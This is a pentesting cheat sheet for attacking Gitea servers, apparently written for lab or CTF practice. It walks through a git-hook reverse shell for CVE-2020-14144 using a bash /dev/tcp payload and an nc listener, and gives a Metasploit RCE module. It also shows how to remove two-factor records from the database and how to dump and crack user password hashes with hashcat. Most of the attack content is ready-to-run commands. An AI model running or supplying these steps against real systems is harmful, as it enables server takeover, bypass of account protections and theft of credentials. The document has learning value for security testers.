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Gitea Pentesting

Last modified: 2025-04-03

Gitea is a forge software package for hosting software development version control using Git.

Common Directories

/api/swagger
/api/v1/repos/search?q=test
/api/v1/users/search?q=test
/api/v1/users/<username>/repos
/explore/organizations
/explore/repos
/explore/users

# OAuth
/.well-known/openid-configuration
/login/oauth/authorize
/login/oauth/access_token
/login/oauth/userinfo
/login/oauth/keys

Investigation

Source Code in Repositories

If we can access to repositories, we might be able to find sensitive information e.g. credentials, subdomains, other domains, secret keys, etc.
So check the source code.

Go Back to Previous Commits

We can see the source code of previous commits and find sensitive information accidentally disclosed by committers.

Get Secrets in Web Hooks

In the existing repository, we may find the secret value in the repository → Settings → Web Hooks.

Find User Credentials

If we have access to the target system and the repository, that is pushed in Gitea, exists in the system, we might be able to find the credential.

cd /path/to/gitea/repo
git config -l

Git Fetch Remote Code Execution (RCE)

Metasploit

msfconsole
msf> use exploit/multi/http/gitea_git_fetch_rce
msf> (set options)
msf> run

Git Hooks Remote Code Execution (RCE)

CVE-2020-14144
It affects Gitea version from 1.1.0 to 1.13.

1. Login

Access to the Gitea dashboard and login as the existing account.

2. Create a New Repository

3. Go to the Repository’s Settings

In the new repository we’ve created, go to Settings → Git Hooks → post-receive.

4. Update to the Reverse Shell Payload

In the post-receive edit page, inject the payload as below:

#!/bin/bash

bash -i >& /dev/tcp/10.0.0.1/4444

5. Start Listener in Terminal

To receive the outcoming connection of the git hook, start listener.

nc -lvnp 4444

6. Create the New Repository in Terminal

mkdir test
cd test
touch README.md
git init
git add README.md
git commit -m "first commit"
git remote add origin https://<target-ip>/<username>/test.git
git push -u origin master

After pushing, git hook triggered and execute the reverse shell command.
Now we should get a shell.

Swagger API

We can access to /api/swagger to interact with Swagger API.

Get New Token & Authorize

We need a token to use Swagger API.

  1. Register a new account in Gitea top page.
  2. Go to /user/settings/applications and generate a new token.
  3. Copy the token value e.g. “fa2c2428817d64c1b890d404a905f7be2ffd4bde”.
  4. Go to /api/swagger.
  5. Click “Authorize” button. The modal window opens.
  6. Paste the token in the “Token” section.

Delete the Two-Factor

victim@machine:/gitea/gitea$ python3

>>> import sqlite3
>>> conn=sqlite3.connect('gitea.db')
>>> conn.execute('delete from two_factor')
>>> conn.commit()
>>> conn.close()

Dump Credentials in Database

Reference: Cracking Gitea's PBKDF2 Password Hashes

Gitea has the database file so we can find user hashes from this file.

# 1. Open it with `sqlite3`
sqlite3 /path/to/gitea/data/gitea.db
# 2. Retrieve credentials from the `user` table
sqlite> select email,salt,passwd,passwd_hash_algo from user;

Once the hashes found, we can crack them using gitea2hashcat.

# Paste the hashes (salt|passwd only) of the result above
python3 gitea2hashcat.py '<salt>|<passwd>'

Copy the output and crack it with Hashcat:

# the `-m 1900` may change depending on the hash algorithm.
hashcat -m 10900 '<hash>' wordlist.txt